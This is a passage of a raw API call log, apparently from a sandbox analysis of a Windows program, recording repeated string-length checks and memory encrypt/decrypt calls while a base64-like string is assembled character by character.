(param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.919] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.919] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.919] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.919] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.919] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.919] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.919] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.919] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.919] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.919] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.919] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.919] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.919] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.919] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.919] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.919] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.920] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.920] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.920] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.920] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.920] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.920] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.920] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.920] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.920] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.920] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.920] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.920] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.920] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.920] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.920] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.920] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.920] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.921] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.921] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.921] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.921] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.921] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.921] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.921] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.921] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.921] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.921] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.921] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.921] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.921] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.921] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.921] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.921] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.921] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.922] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.922] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.922] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.922] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.922] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.922] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.922] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.922] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.922] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.922] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.922] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.922] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.922] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.922] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.922] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.922] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.922] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.923] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.923] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.923] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.923] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.923] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.923] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.923] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.923] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.923] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.923] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.923] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.923] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.923] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.923] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.923] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.923] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.923] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.923] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.924] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.924] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.924] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.924] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.924] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.924] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.924] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.924] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.924] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.924] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.924] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.924] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.924] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.924] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.924] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.924] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.924] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.925] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.925] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.925] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.925] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.925] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.925] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.925] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.925] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.925] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.925] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.925] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.925] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.925] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.925] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.925] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.925] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.925] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.926] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.926] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.926] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.926] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.926] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.926] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.926] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.926] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.926] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.926] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.927] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.927] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.927] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.927] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.927] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.927] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.927] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.928] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.928] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.928] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.928] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.928] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.928] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.928] SystemFunction041 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.929] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.929] SystemFunction040 (in: Memory=0x4383b8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b8c) returned 0x0 [0133.929] SysStringLen 